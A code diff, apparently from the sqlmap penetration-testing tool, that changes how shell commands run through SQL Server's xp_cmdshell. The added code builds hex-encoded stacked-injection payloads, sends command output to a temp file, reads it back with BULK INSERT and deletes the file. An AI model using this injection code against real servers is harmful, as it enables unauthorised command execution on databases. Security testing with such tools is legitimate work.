@@ -148,12 +148,18 @@ def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
148148 self .xpCmdshellExecCmd (cmd )
149149
150150 def xpCmdshellForgeCmd (self , cmd , insertIntoTable = None ):
151+ if conf .dCred :
152+ self .tmpFile = "%s/tmpc%s.txt" % (conf .tmpPath , randomStr (lowercase = True ))
153+ cmd = "%s > \" %s\" " % (cmd , self .tmpFile )
154+
151155 self .__randStr = randomStr (lowercase = True )
152156 self .__cmd = "0x%s" % hexencode (cmd )
153157 self .__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self .__randStr
154158 self .__forgedCmd += "SET @%s=%s;" % (self .__randStr , self .__cmd )
155- if insertIntoTable :
159+
160+ if insertIntoTable and not conf .dCred :
156161 self .__forgedCmd += "INSERT INTO %s " % insertIntoTable
162+
157163 self .__forgedCmd += "EXEC %s @%s" % (self .xpCmdshellStr , self .__randStr )
158164
159165 return agent .runAsDBMSUser (self .__forgedCmd )
@@ -178,6 +184,11 @@ def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
178184 output = new_output
179185 else :
180186 inject .goStacked (self .xpCmdshellForgeCmd (cmd , self .cmdTblName ))
187+
188+ if conf .dCred :
189+ inject .goStacked ("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self .cmdTblName , self .tmpFile , randomStr (10 ), randomStr (10 )))
190+ self .delRemoteFile (self .tmpFile )
191+
181192 query = "SELECT %s FROM %s" % (self .tblField , self .cmdTblName )
182193
183194 if conf .direct or any (isTechniqueAvailable (_ ) for _ in (PAYLOAD .TECHNIQUE .UNION , PAYLOAD .TECHNIQUE .ERROR )):
0 commit comments